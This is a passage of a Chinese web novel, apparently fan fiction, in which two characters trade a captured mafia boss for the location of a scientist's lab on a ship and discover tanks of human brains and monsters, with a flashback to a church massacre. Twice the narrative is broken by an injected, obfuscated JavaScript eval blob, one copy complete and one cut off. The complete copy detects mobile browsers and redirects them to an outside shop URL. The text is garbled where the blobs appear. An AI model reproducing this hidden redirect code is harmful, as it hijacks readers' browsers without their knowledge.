小插曲过后,他们的话题很快又回到正轨。 “在这五年间,提纯混血种血液的事大概不会是重点。关键在于拉尔夫对死气之火的研究。”艾莎边说边喝了一大口水,要不是沢田她还真没发觉自己口渴了。 喝完以后,她下意识抿了抿唇。这样一来嘴唇就比刚才盈润了很多——沢田纲吉的视线触电般从她脸上弹开了。 “威尔帝也说,药物的配比需要进行反复的实验。”他将刚才拿到的文件递给她,“可是这几年,里世界并没有mafia大量失踪的异常情况发生。” 既然这样,拉尔夫又是如何获取他所需的人体素材? 艾莎隐隐有了一个猜测。 “唔、之前上课的时候纲吉君说过吧?死气之火是每个人体内都具有的能量。”她先是这么确认道。 这一点她印象很深:与混血种以血传承的方式不同,死气之火以人体内的生命力为根源。理论上任何人都能点燃火焰,mafia只是垄断了点燃死气之火的技术而已。 当然,点燃火焰与能够运用其战斗并不是一码事……不过这种实验,大概也不会对作战能力有多少要求。 “是这样没错……”沢田目光闪烁一下。他明白了她的言下之意。 “……中东战争。”艾莎低声道,“这几年有大量难民逃到欧洲。滞留在意大利的很多,因为都想逃到福利更好的瑞士去。” 况且德维尔先前做的还是人口贩卖的生意。对他来说,在难民营打开缺口不会是件难事。 没人会在意难民的去向,他们是文明的隐形人。 就像没有人在意那些发生在角落的战争,那是为维持世界整体和平而献上的斑驳祭品。 房间里的空气凝滞了片刻。 “…这样一来,拉尔夫就不需要用mafia进行试验,也能避免被纲吉君察觉。”艾莎继续道。 她静静说出了自己的推测。 “拉尔夫的实验地点一定靠近交通运输,空港,或者海运。后者的可能性更高,因为他需要对大量尸体进行处理。海洋是最隐秘的抛尸地点。” “——德维尔的家族产业中,有没有与港口相关的东西?” 52. 第50章 交易 “太多了。” 沢田纲吉微微摇头。 “德维尔这几年热衷于投资地产。单凭一条线索,很难确定具体的实验地点。我们也没有一一排查的时间。” “所谓的‘藏木于林’么?”艾莎低声嘟囔一句,“或者我们可以等雅纪醒来。” 雅纪的血统远远超过【game】的那帮乌合之众,对于拉尔夫来说是绝好的‘实验材料’。这些年,拉尔夫应该一直把他带在身边。 然而面对这个提议,沢田还是摇了摇头。 “雅纪的年纪太小,而且大概率一直待在封闭的环境里,不一定知道太多关于地理位置的信息。” ……况且即便知道,他也不见得会立刻告诉他们。 沢田以前见过不少受害于人体试验的孩子——被长久地锁在实验室里,生活一成不变。 很多孩子甚至会对伤害自己的研究者产生一种诡异的依恋之情,因为漫长的时光里他们是自己唯一可以接触的人。 对于这样的孩子而言,‘获救’反而是一件可怕的事。他们会需要更长的时间来重新适应这个世界。 他顿了顿,终究没把这句话说出来。而是转而道: “还有一个人知道拉尔夫的实验地点。” “是谁?” “还记得遇见雅纪的那天晚上么?”沢田说,“那天除了雅纪,还有一群德维尔家族的杀手。事后有两人逃离了彭格列的封锁。其中包括他们的领头者,他曾是先代德维尔首领的部下。” “今天早上,他主动通过家族联系了我,并提出交易。”他低声道。 “——他提出用‘Doctor’的实验地点,换伊凡·德维尔的命。” -- “——等等等等!” 艾莎感到自己有点跟不上状况。 她还没来得及惊讶于伊凡·德维尔还活着的事实,就又被其家族的无耻程度震惊到了。 “纲吉君说的是那个又搞【game】、又在老城区伏击我们的德维尔家族么?” 事到如今,德维尔家族怎么还敢提出这样的交易? “德维尔家族的其他人并不清楚【game】的事。”沢田解释道,“伊凡·德维尔继承家族后,借用雅纪的能力控制了一半以上的高层干部,又将其他反对他的人悉数排挤出了决策圈之外。在这期间,拉尔夫一直藏在德维尔背后,但直到后者被抓、其家族内部的高层会议重新开始运作才露出马脚。” “纲吉君相信他们说的话么?” “在这件事上,他们并没有多少说谎的余地。”沢田纲吉客观地说道。 从始至终,德维尔家族都在被利用。 无论是从莫斯卡里找到的6名高层成员、还是伊凡·德维尔本人的供述都印证了这点。 “……那么那场有始无终的暗杀也是?”艾莎皱眉道。 “他们通过内部确定了拉尔夫的所在,只是因为对言灵的能力毫无准备,所以反而受到拉尔夫的操控。雅纪的催眠失效后,那名高层察觉到不对,于是又返回了实验地点。他本想趁雅纪不在制住拉尔夫,用他来证明伊凡·德维尔是受人蛊惑、误入歧途。” 沢田叙述时的语气淡淡的,听不出喜怒。 而听到“误入歧途”几个字,艾莎立刻拉扯出一个颇为讥诮的笑来。 “这么说他们对拉尔夫的背景一无所知,也不知道我们在调查什么。”她冷冷道。 “那名高层很可能是在实验地点发现了什么东西,并从中判断出了场地本身的价值。” “更可能是他们手中已经无牌可打,所以试探性地打出了仅有的一张。”艾莎很不留情地说道,“这根本是瞎猫碰上死耗子——不对——是死猪不怕开水烫!” 日语里并没有这两句谚语,所以她简单粗暴地采取了直译的方式。 两句话听得沢田纲吉一愣。他琢磨了一会儿,才有些无奈地重新望过来。 “……不换。”她咬咬嘴唇,然后轻声道。 就算是被拉尔夫利用,伊凡·德维尔也依然是【game】的创始者、是导致阿尔伯特死亡的元凶之一。 艾莎知道这件事在沢田纲吉心中的分量,也至今记得他提起阿尔伯特时的表情。 她想不到任何要沢田放过他的理由。 “我们再想想、肯定还有其他获得实验地点的办法……” 艾莎皱着眉头,刚想提议由她来严刑逼供伊凡·德维尔,却发现对面的褐发青年面色沉静,就好像她现在的反应也在他意料之中。 “…你是不是已经答应了?” 短暂的对视后,她闷声道。 “这是我综合彭格列首领的职责与我本人意志后得出的结论。”沢田纲吉轻声道,“艾莎,在这件事上我并不觉得勉强。” 不觉得勉强才怪呢。 她尚不死心,还想再说点什么。可沢田就像完全看穿了她的意图般,若无其事地继续说了下去: “交易时间是明晚凌晨1点。考虑到拉尔夫的实验内容,参与人员尽量从简。但这毕竟是正式的交易场合,作为首领,我不可能独自前往。” 他非常、非常坦然地看着她,唇边有微微笑意,温柔中又带点歉然的样子: “所以这一次,能拜托艾莎与我一起么?” “——作为彭格列首领的护卫人员。” -- 现在是晚上11点。 距离交易还有2个小时。 艾莎苦大仇深地望着放置在椅子上的西装。 这套衣服是沢田下午让人送过来的。说是Mafia的交易场合,最好还是正装出行。 出发前做好万全准备,沢田纲吉果然是靠得住的好队友。 她已经能预想到今晚的一切会有多么顺利:他们会如愿拿到拉尔夫的实验资料,雅纪也将安全无虞、不再有性命之忧。 然而很奇异的,她确信此刻心中涌动的情绪与喜悦或是如释重负无关。 不,应该说恰恰相反。 不爽。 烦躁。 无措。 回忆就定格在沢田纲吉最后的表情上——他当时绝对是故意的!故意摆出那种温柔的笑脸,叫人莫名其妙就说不出拒绝的话来。 越想越闷。艾莎索性向后往床上一躺,“砰”的一声响动,像是要一鼓作气把那些搅和在一起的情绪全部压散。 她的想法非常明确: 伊凡·德维尔不是个该被轻拿轻放的人。 被他害死的阿尔伯特是沢田纲吉的老师、是他初来西西里岛时朝夕共处的人。 那么重要的人死了,他该亲手为他报仇。 然而明明得出了结论,问题却得不到解决。 这件事偏偏和雅纪的事纠缠在一起。 ——要怎么阻止这场交易才好?要怎么做才能绕过德维尔家族、得到实验地点的信息? 她想了很多种方法:比如严刑拷问德维尔,但他本来就是拉尔夫推出来的弃子,不可能知道太多有用的东西; 比如去找提出交易的德维尔高层,可对方肯定早就藏起来了,否则沢田为什么不直接这样做呢? 再比如通过雅纪,然而先不说时间上的问题,她是知道的、刚从实验室里出来的孩子嘴巴有多紧…… 这些方案被她一一否决,与此同时她也意识到另一个令人生气的事实: 现在她正在想的这些,沢田纲吉一定早就已经想过一遍了。 他一定早就,独自一人地想过一遍了。 【“这是我综合彭格列首领的职责与我本人意志后得出的结论。在这件事上我并不觉得勉强。”】 说这句话时,褐发青年的表情那样平静。 艾莎一股脑爬了起来。她把下巴重重磕在膝盖上,郁闷地想他是不是总是这样,一个人默默地承担很多事,把一切都安排好、把所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于深夜凌晨再次见到彼此时,两个人都愣了一下。 首先是看到沢田纲吉的艾莎。 她远远望过去。他就等在大厅靠门的角落,身上披着一件黑色的长披风。披风前有两排金蓝色的勋章,被同样金色的链带连接在一起。 这大约是比较正式的Mafia首领装扮,典雅复古,又有点微妙的落后于时代。 站在昏黄的灯光与黑暗的交界处,沢田纲吉与漆黑的彭格列总部完美地融为一体。 他的面容冷淡又威严,既像是注视着伊凡·德维尔——后者像一条虫子一样缩在不远处的轮椅上,似乎恨不得把身体蜷得再小一点——又好像是在静静地发呆,目光与思绪都落在很远很远的地方。 真奇怪。艾莎想道。明明前一刻她还发自内心(自暴自弃)的认为沢田纲吉完美无瑕坚不可摧,可在真正看到他属于Mafia首领的一面时,又觉得他是个非常脆弱柔软的人。 这么想着,她慢吞吞地走下楼梯。每靠近沢田一点,心里那些翻滚的情绪就消弭掉一点。 等再走近一些,沢田便也注意到了她。他微微收敛了周身的肃杀,脸上有疑惑的表情一闪而逝。 顺应自己的内心、顺应自己的内心…… 艾莎在他面前站定。 其次是看到艾莎的沢田纲吉。 女孩在他面前站定,然后吸吸鼻子,没头没尾地说道: “…可恶,你就给我等着看吧……虽然没当过护卫……但我绝对会好好保护好你的。” 她的声音很坚定也很轻。如果不是离得近,他绝对听不清楚。 沢田纲吉犹豫一下,还是开口确认道: “艾莎……你的衣服?” “……哦。”女孩如梦初醒般低头看了看身上的卫衣,随即露出了非常懊恼的表情。 “…忘记换了。等我一分钟!一分钟就好!” 话音还没落,她就匆忙而飞快地奔远了。 沢田纲吉不明情况,只能对她的背影投以一个无奈的注目。 说完豪言壮语后立马就说了一句超不靠谱的话啊喂……他有点哭笑不得,等着她把自己收拾好,然后再与他同行。 53. 第51章 船 一打开车门,便有一股潮湿的腥咸气味裹挟夜风扑面而来。 她的判断没错,拉尔夫果然把实验地点建在了临海的地方。 艾莎观察一下周围环境——除了已经等在岸边的一名老人外,整个港口寂静无人。远处的海是黑色的,可以听见潮声起落。 孤身前来,不设埋伏。即使是她也能领会到德维尔家族此番交易的诚心。 她不紧不慢地推着轮椅跟在沢田纲吉身后,心里难免有些失望。 她仍对沢田的选择颇有微词,所以多多少少盼望着这场交易能出点岔子——比如德维尔家族突然想不开,既想救回首领又想来一场暗杀什么的——这样他们就能顺理成章地不把伊凡·德维尔交出去了。 然而对面摆出的姿态如此之低。这桩交易看起来势在必行。 在他们靠得更近的时候,老人也主动迎了上来。双方在码头的中点处缓缓停下脚步。 两边都还没有动作,伊凡·德维尔已经迫不及待地仰起了身体。要不是知道他的下半身没有知觉,艾莎简直怀疑他会直接从轮椅上跳起来。 他死死盯着对面,眼睛里闪动着某种恶而欢跃的光彩。 但老人并没有迎合他的期待;反而是先恭敬地与沢田打了招呼,接着又对艾莎微微点头,举止间颇谨慎的样子。 在这期间,老人没有多看伊凡·德维尔一眼。 之后,沢田纲吉便与他交谈起来。他们用的是意大利语,最开始那几句不咸不淡的寒暄艾莎还能勉强听懂,但越到后面就越是云里雾里。 轮椅上的德维尔倒是开始轻轻颤抖起来,从他扭成麻花的嘴角以及渐渐佝偻下去的背脊来看,沢田与老人正在谈论的恐怕并不是什么令他愉悦放松的话题。 艾莎猜测他们恐怕是在针对德维尔的后续处置上达成了什么共识。 随着谈话的进行,德维尔颤抖的幅度越来越大,嘴巴里也传出难以辨认的嘶嘶声。 交易在即,他到底多了些底气。等到谈话告一段落,伊凡·德维尔的情绪便霎时间高涨起来,他歇斯底里地吼叫着,冲老人的方向挥舞拳头,声音嘶哑得像是诅咒。 又或许他的确是在诅咒。 老人并不打断他,而是面无表情地领受了一切。他的白发被夜风吹得翻飞不止,恰如一支行将熄灭的灯烛。 越听他说话,沢田纲吉的眉头就皱得越紧。他冷冷地制止了伊凡·德维尔,后者先是条件反射地瑟缩一下,可瞥了一眼老人后,竟然冲沢田冷笑一声,有恃无恐地朝前伸了伸脖子。 他敢这么挑衅,就说明已经确信自己没有性命之忧。看来谈判并没有破裂。艾莎有些失望地想。 她看看微微色变的老人,又看看神情冰冷的沢田,然后耸耸肩,一拳把伊凡·德维尔打晕了。 夜风中,骨骼碎裂的声音清脆可闻。 老人:“……” 沢田纲吉:“……” “没死。”她用意语生硬地朝对面解释,“我力气用的很小。” 老人愣了几秒才迟疑着对艾莎再度点头致意,像是表示“知道了”,又像是在表达感谢。 沢田纲吉则趁着没人注意的时候微微抽动了一下嘴角——作为她的家庭教师,他对她的意语水平了若指掌。刚刚那两句明显是现学的——所以她在车上戴着耳机念念有词的果然就是这两句话吧!她根本在那时候就打定主意要这么干了! 察觉到他不着痕迹望过来的目光,艾莎有点心虚地偏转了视线。 简单确认了一下伤势后,老人也没再管翻着白眼仰倒在轮椅上的伊凡·德维尔。 “这边请。” 他缓缓比了一个手势。顺着手势的方向,艾莎与沢田皆将目光投向不远处。 那里停泊着一艘巨大的轮船,船身被漆成鲜红色。自下而上的望过去,甲板被遮挡得严严实实,根本看不清上面伏藏着什么东西。 -- 老人在最前方带路。 可能是顾虑到交易还未结束,他并未对艾莎继续牢牢控制住德维尔轮椅的行为表示什么异议。 那道背影老迈而萧索,简直就差把“家门不幸”几个字写在后脑勺上了。 如果现在偷袭他,他要怎么办呢? 艾莎盯着毫无防备的老人,感到脑子里有一只大师兄——或者是副校长——在阴恻恻地说话。 早知道这样,其实也可以在码头就直接制住他,然后挨个搜索这里的船只——他就不担心他们会这么做么?还是说他非常相信沢田纲吉的人品…… 这么说起来,Mafia是不是非常重视信义这样的东西呢? 她胡乱思索着。然而等真正登上甲板,她才明白是自己把一切想的太过简单。 作为一名老谋深算的Mafia,老人当然不可能这么轻易地交出自己的底牌。 灯光骤起,甲板上一时亮如白昼。 伴随着巨大的轰鸣声,钢铁制的螺旋桨急速运转,卷起一阵又一阵刺目的狂风。 艾莎眯着眼睛观察坐落在正中的巨大器械——那是一台已经准备就绪的直升飞机。 “请。”老人再度彬彬有礼地作出邀请手势。 “实验地点在船上,他们把那艘船停在了离这不远的海域。”借着直升机运作的噪音掩护,沢田的嘴唇微微翕动。 海中……么。 艾莎短暂地迟滞一下。因为有过几次极端糟糕的任务经历,她对大海实在没有多少好印象。 乌鸦曾把那里称作‘无天无地之所’。对于很多人来说,海上是绝好的伏杀地点。 老人并没有再多解释什么,只是面无表情地静立在一旁等待。 “…走吧。”沢田纲吉低声道,接着便 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“我的意思是他们不会跑么?”她嘟哝道,“比如趁我们找资料的时候把我们丢在船上,然后引爆早就安置好的炸.弹什么的。” “不会。”沢田笃定地摇了摇头,“这样做对德维尔家族毫无益处。况且他们也不至于想用这种方法困住我——还记得大空火焰的特性么?” 他的语气就像教授死气之火时一样循循善诱,引得艾莎下意识背起了书。 “调和?还有推进力最强……对喔,纲吉君会飞的嘛。”她讪讪地反应过来,这里对于沢田纲吉来说根本不是什么‘无天无地之所’。 “那带我一个也没问题么?” “…没问题。”沢田似乎被噎了一下,“但这次大概没什么机会。” 他向身后看去,毫不意外地发现女孩仍在警惕的四处打量,好像一刻也不敢放松神经。 “艾莎不用太紧张。”他温声道,“德维尔不会再在背后搞什么小动作。等拿到实验记录,这件事就彻底结束了。” 这话原本是为了宽慰女孩,可说到最后,他自己也变得没意思起来。 他不是没有想象过拉尔夫的实验场地,最糟的情况是布满陷阱、或者乌鸦所描述的那种怪物;可现在入目尽是黯淡豪奢的装潢,房屋像一杯白水般空寂,反而叫人心有戚戚。 等拿到实验记录,事情就彻底结束了……么。 脑海中又浮现出故人的身影。五年过去,其实他已经有些记不清阿尔伯特的长相了。 沢田纲吉微微垂眸,小心翼翼地掩去了眼底的迷茫。 “我才不紧张呢。”这时耳边传来女孩嘴硬的回应,“只是这儿真让人不舒服……等拿到实验记录我们就把这鬼地方炸飞——这回我带了好多炸.药呢。” 54. 第52章 脑 他们沿着巴洛克风格的台阶向上,抵达了船舱二层。 这里是最宽敞的一层,原本被主人用于舞会宴饮。 据前来交易的德维尔高层所说:最开始的时候,他就是在这儿遇见了拉尔夫和雅纪。 隔着一堵墙,艾莎没听见任何响动。在判断里面空无一人后,她对沢田纲吉点了点头,两个人一齐推开了那扇雕花大门。 首先入目的是一堆东倒西歪的电子设备,它们横尸在房间的最外围,与豪奢的内舱装潢格格不入。 “是被人为破坏的。”艾莎蹲下简单地查看一番,“德维尔家族的人?” “应该不是,他们没有与拉尔夫发生直接冲突。”沢田说,“但他们的一名同伴被留下了,拉尔夫给他服用了试管里的药物。” “…那就是了。乌鸦说过,那种药有很强的腐蚀性。使用者到最后连尸体都留不下来。”她将捡起的零件随手掷了回去。 既然拉尔夫敢在这里试药,就说明他并不担心这个房间里的器械遭到破坏。 “看来二层并不是实验的核心区域。”沢田纲吉沉声道。 “嗯,还在更里面。”艾莎重新直起身,望向船舱的更深处。 那里被许多塑料幕帘遮掩着,重重叠叠,有种叫人不舒服的神秘感。她以前只在制.毒.者的基地见到过这种景象。 手中短刀缓慢挑开透明的帘子,确认安全后,艾莎微微侧开身,示意沢田纲吉率先通行。 褐发青年似乎很不习惯让同行者——尤其还是一个年纪比他小的女孩——打头阵。但艾莎刻意忽略了他脸上欲言又止的表情。 她都想好了:要是他胆敢在这点上说些什么,她就很无辜地看着他,然后问他“可我是纲吉君的护卫啊——不是纲吉君这么拜托我的么?” 看他要怎么回答。 可惜沢田好像也想明白了其中的关窍。他的嘴犹犹豫豫地张了又闭、闭了又开,如此反复数次,到最后终究还是郁闷地合上了。 被人为分割出的空间变得愈发狭小。 并且越到深处,拦路的塑料帘子便越厚重肮脏。在层叠掩映下,原本明黄的光线变成了暗绿色,将帘上或成点状、或一条一条的不明污迹衬得阴森苍白。 最终到达的小房间约10平方米大小,墙壁被用铁片额外加固,然而里面除了一张简易的桌子外,居然什么也没有。 “暗门么……”艾莎刚要皱眉,就见身后的褐发青年已经熟门熟路的在墙壁四角摸索。 她微微一愣,这才注意到他手上已多了一副钢制手套,其上镶有微微凸起的彭格列徽章,蓝宝石色,温润又坚固的式样。 她尚且看不见死气之火,但只要见到沢田的武器,就明白他是进入所谓的“超死气模式”了。 只是不知道他是什么时候点燃的火焰…… 不多时,随着轻微的一声“咔嗒”,靠墙处的地板旋开,露出一个仅能供一人通行大小的缺口。 艾莎瞪圆了眼睛。 “彭格列有很多经过改造的游艇,这种暗道的位置都大同小异……”沢田纲吉静静道。 他原本表现得颇为沉稳。然而在女孩愈发惊愕的注目下,额角难免滴下尴尬冷汗——年轻的十代目首领至今也没有丧失做一个普通人的初心,是以自己也很快反应过来,这话多多少少是阶级敌人了一些。 -- 船上空间毕竟有限,沢田与艾莎一路向下,3分钟不到就来到了暗道出口。 光线很暗,只能勉强辨认出头顶错综林立的管道轮廓。 但也正因如此,可以很轻易地发现尽头处闪烁着的幽蓝色柔和光芒——那里似乎摆放着一台正在运行的显示设备。 大空火焰照亮了黑暗。 看清周围的摆设后,沢田纲吉猛地止住了脚步。他一动不动地堵在暗道口,将身后的女孩挡得严严实实。 然而没什么用。艾莎踮起脚尖,十分勉强地从他身后探出了脑袋。 “Fuck……”她忍不住喃喃道。 混血种的夜视能力远超常人。就算不借助死气之火她也能看见屋子里的东西。 他们现在应是位于后方船舱的最底部,高度甚至超过最宽敞的二层。面前的通道依照船型由窄及宽,一边是斑驳的金属漆面与裸.露管道,另一边却是一面巨大的玻璃墙面。 这种观赏性的大型鱼缸一般只会出现在水族馆里,又或者什么巨富的私人别墅——总之不可能是在船舱底层,因为这种设备同时需要配置完全的过滤器与换水系统,这通常是一艘豪华游艇所无法负担的。 可拉尔夫没有这种忧虑。他最初要这个储水仓的目的显然不是养鱼。 此时此刻,玻璃墙的里侧也并未徜徉着什么珍奇的海洋生物,而是—— “——人脑。”艾莎仰视着巨大的玻璃墙面,而后轻声道。 此刻暴露在眼前的正是一个个拳头大小的灰白色器官。它们的数量是如此之多,被密密麻麻地堆叠摆放在一起,以至于在墙面上留下被挤压的透明印记。 这里有多少人脑?一千个?一万个?拉尔夫究竟杀了多少人? 艾莎目光微微闪烁一下。她转过头,发现沢田仍然凝视着水缸。 幽暗的蓝光在他额前投下深重的阴影。褐发青年漠无表情地仰头望着玻璃墙,与其说是在愤怒或者哀戚,倒不如说连影子都是空洞的。 她只犹豫了很短的时间,就凭本能轻轻拉住了他的手。 指尖传来微微凉意。隔着一层金属手套,她能感到他的指节正僵硬地微微弯折着,像是想要捏紧成拳,却又缺乏足够的力气。 “…纲吉君,走吧。我们往前去。”艾莎低声道,同时加重了扣住他手掌的力道。 “……” 沢田纲吉没说话也没挣脱。因为突然的拉扯,他的视线自然而然地落回到她身上。 他看她目不斜视地迈开步子,边向前走边将他的手攥得紧紧的。 她的温度沿着手套传递过来。 又过一会儿,等到僵硬的手指能够再次活动,他下意识延续了刚才未完成的动作,五指微合,试探着将这份温度拢在掌中。 随着他们的脚步,悬挂在头顶的灯一盏盏亮开又一盏盏熄灭。 那些人脑就这样高悬在明暗交错里。冥冥之中,它们的主人仿佛也正透过偌大的玻璃墙,沉默着与他们遥遥相对。 -- 直到最后一盏顶灯熄灭,玻璃墙面再次被淹没在黑暗中,艾莎才松开沢田纲吉的手。 松开以后,他的手指尚在她指上停留几秒,而后才反应过来似的轻轻放开。 “…抱歉。”沢田纲吉低声道,声音干涩。 “要说对不起的才不是纲吉君呢。”艾莎摇了摇头,“做出这些事的人才该付出代价——” 拉尔夫应该庆幸自己死得早。 她眼中有冷厉锋芒一闪而逝。 如果他还活着,她会让他知道什么是代价。 “…正事要紧。先不提这些。”说着,艾莎将目光投向不远处的显示屏。几根电线将它与一台笨重的主机连系在一起。 这里应该就是拉尔夫进行核心研究的地方。 “——我猜,我们要找的东西就在那边的电脑里。” 拉尔夫显然致力于隐藏自己的背景来历,就连电脑系统使用的都是意语,而非他更加熟悉的德语和日语。 眼看屏幕上一堆蝌蚪文,艾莎识趣地为沢田让出更多操作空间。估摸着拷贝全部文件至多花上半个小时,她森然一笑,摸出了早已准备多时的炸.药与□□。 然而忙活了没多久,沢田就突然喊住了她。 “……艾莎,来看看这个。”他稍稍侧身,方便她能看到电脑上调出的文件。 “这是……德语?”她有点不确定,于是更加往前凑了一点。 “嗯,从隐藏文件里找到的。”沢田纲吉低声道,“能看得懂么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658813|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我的德语都忘得差不多了……”艾莎这么咕哝着,不过还是接过了滑鼠。 毫不夸张地说,她的德语差劲到对不起自己那本德国护照的程度。 好在卡塞尔学院本身就是一所德系学院,平时总能耳濡目染到一些德语单词。 她一页一页地草草翻看起来。 【X年X月X日,晴 ……罐头……海…… X年X月X日,晴 ……白痴……狗娘养的……时间……无法保存…… X年X月X日,XX 汇报……政宗先生…… X年X月X日,晴 天杀的……猪……失败…… X年X月X日,晴 ……帮助……脑……可行……】 “这应该是……拉尔夫的日记?”她迟疑着道,“里面好像也记载了一些实验相关的东西。” 她边说边滑到了下一页,却在看到内容时猝然僵住。 “这是……”沢田纲吉望着屏幕,同样神情一肃。 他看不懂上面的那些德语单词,但这不妨碍他理解屏幕上的内容。 ——那是一幅设计草图。 这一页、下一页、下下页……艾莎翻阅的速度越来越快,屏幕上的图案轮廓几乎没有变化,只是笔触愈发详实。就像老式的胶卷动画,画师们一笔一划地增添细节,使后来的观者得以从角色的每一帧移动中窥见创作者的心血。 “我们之前讨论过,拉尔夫这么谨慎的人,怎么会放心让德维尔家族的干部实施暗杀?雅纪一旦死亡,催眠效果就会解除。那么多的人,他就不怕留下活口、进而暴露他的位置么?”艾莎低声道,“……但这样一来就解释得通了。” 屏幕散发的暗淡光亮倒映在她眼中,恰如两簇幽蓝色的火焰。 “按照拉尔夫的计划,雅纪会尸骨无存,德维尔家族根本找不到其它方法证明他的存在。即使港口的位置暴露也没用,我们不会在这里找到任何东西——他早就打算离开了!” 他们死死盯着屏幕上最后一张设计图。 比起最初的草图,它已经相当完备,将设计者的思路几无遗漏地展现出来。 “——拉尔夫的实验成功了。他找到了将试药者完整保存下来的方法。”艾莎轻声道,“他原本会带着它们一起离开,那是他征服世界的筹码。” 现在拉尔夫死了,可那批东西还在船上! 仿佛要印证她的猜想般,她话音刚落,就听见头顶上方传来一声凄厉的号叫。 艾莎猛地抬头。她一边警惕地盯着天花板,一边低声询问道:“纲吉君,离拷贝完成还有多久?” “还有3分钟。”沢田纲吉道。他没有混血种的耳力,但也凭直觉感到了某种变化。 危险逼近的变化。 空气静得可怕。一种刺耳的“咔剌”声渐渐响起来。 有点像是指甲划黑板的声音,又有点像是泡沫块刮擦玻璃,听了叫人发麻发冷。 在船舱底部战斗没有任何好处。所以他们都没有动,只是盯着屏幕上文件传送的进度条。 划擦声越来越响,像是要往人的脑子里钻。 95%……98%……99%…… “走!” 几乎是进度条消失的同时,沢田拔了移动设备,两个人一齐朝出口奔去。 过道的顶灯一盏盏亮起,一盏盏熄灭。 明暗交错间,她敏锐地转头,发现鱼缸里的人脑不知何时已消失了大半,取而代之的是某种巨型肉块。 灰白色的肉块。质感黏腻,颜色与人脑类似,乍一眼望去甚至难以察觉出区别。 然后如同电影慢镜头般,无数道缝隙蠕动着出现。它们越张越大,大量粘液从中缓慢滴落,像是眼泪,又像是包裹新生儿的羊水。 缝隙完全长成了,于是明暗光影间中浮现出第三种颜色。 暗金色。 ——黄金瞳! 55. 第53章 罪 “地上虔诚人灭尽、世间没有正义人。各人埋伏要杀人流血,都用网罗猎取弟兄。 “他们双手作恶……他们必扰乱不安。 “Mafia也会诵读《圣经》么?”当时的他斜倚在墙边,懒洋洋地出声问道。 屋中的男人被他打断,却并不生气,反而轻笑了一声。 “我以为你已经加入了我的家族?” “你没有回答我的问题。” “不是所有Mafia都会。这只是我个人的小习惯。” “哦。”他干巴巴地应道,“那可真让人松了口气。” “不过最近我正考虑把它发展成家族传统。”男人微笑着补充道。 “……” 猝不及防被噎了一下,他轻轻“啧”了一声。 “发展成家族传统,然后呢?”他嘲讽道,“下一步是不是组建一个唱诗班?” “你刚加入家族,还不懂得。”男人叹了口气,“有时作的恶太多,会面对不了良心的谴责。” 他嗤笑一声,“所以就用这种方式赎罪么?” 阳光穿过教堂的彩色玻璃,照射在正前方的十字架上。他懒洋洋地低下头,注视着地面上那个正十字的阴影。 这是某个周日,教堂里本该熙来攘往。信徒们会先在各自家中享用一顿丰盛早餐,然后其乐融融地坐在一起,虔诚听牧师讲经布道。 现在偌大的屋子里却只有他们两个人。其他人都睡了。 离他远的仰倒在座位上,眼睛涣散地睁着;离他近的倒霉些,有人的后脑勺被整个轰飞,脑浆和着血液滑落到长椅上,逐渐汇聚成一滩红白交杂的黏稠物。 这是他第一次杀人,这也是他交给家族的投名状。 本以为看到尸体会恶心得吐出来,但并没有。心里想的反倒是些无关紧要的东西。 男人没有回答他,只是慢条斯理地继续自己的祷告。 “不要倚赖邻舍,不要信靠密友……因为儿子藐视父亲,女儿抗拒母亲……人的仇敌,就是自己家里的人。” 神父了无生息地趴在讲经台上,鲜血顺着十字架的纹路缓缓滚落。 “……阿门。” 彩色玻璃上的圣母沉默地注视着他们,目光仍是温柔慈悲的。 “拿着吧,有空就翻一翻。总归没有坏处。” 临走前,男人将一本《圣经》掷到他怀中。那是从神父僵死的手中强行扯下的。 他随口应了一声,把书塞进了口袋里。然后他一脚踹翻油桶,点燃了整座教堂。 火焰熊熊燃烧,热度溅得眼球滚烫。他不由眯了眯眼,风中好像又响起了谁的祷告声。 还是《圣经》,还是《弥迦书》第7章。 “至于我,我要仰望耶和华。要等候那救我的神,我的神、必应允我!”那坐在轮椅上的人歇斯底里地狂笑着,“我的仇敌啊,不要向我夸耀!我虽跌倒、却要起来!” 说着,那人拼了命地伸长手臂,像是要去够一够不远处蠕动着逼近的灰白肉块。 “我虽坐在黑暗里、耶和华却作我的光!” 何其疯狂……何其愚蠢。 他暗骂一句,将伊凡·德维尔一把扯到身后。云属性的火焰强撑着高涨起来,再度逼退了那群虎视眈眈的怪物。 灰白色的怪物,身上尚附着着大量黏稠汁液;瞳孔呈细长的暗金色,像是兽瞳,但他此前从未在哪种野兽身上感到如现在一般的压迫力。 它们的数量是如此之多,密密麻麻,几乎覆盖游艇表面,且还在源源不断地从船舱中涌出。 “大人!再这样下去就要撑不住了!请快带着首领离开吧!” 说话的是直升飞机的驾驶员,他的声音几乎被海上的狂风吞噬。 “不行!”他断然拒绝道,“彭格列Ⅹ世还在里面。我们等他出来!” 这些怪物的出现并非他的授意。他猜到Doctor的事涉及隐秘,以家族现在的处境,知道的越少越好,所以并未对这艘游艇进行详细彻底的调查搜索。 正因他的疏忽,才导致现在这种后果……必须向Ⅹ世解释清楚,否则彭格列绝不过放过他和家族! 老人面色惨白地继续强撑着。又过一会儿,他听见驾驶员低骂了句什么,身后传来直升机启动的声音。他想回头阻拦,却找不到分心的时机,也逐渐丧失了这样做的力气。 最终,他只能无力地重新望向封闭的船舱,目含祈祷。 Ⅹ世……能挽回这种局面的只有Ⅹ世…… Ⅹ世绝不可能被这些怪物打倒——因为他是最强、是继承了那位彭格列Ⅰ世意志的最强! 就在这时,船身巨震! -- 在船舱底层战斗不是个明智的选择。电光火石的一瞥后,艾莎直接奔入暗道,沢田紧随其后。 身后传来玻璃被打破的声音,但他们都没回头。 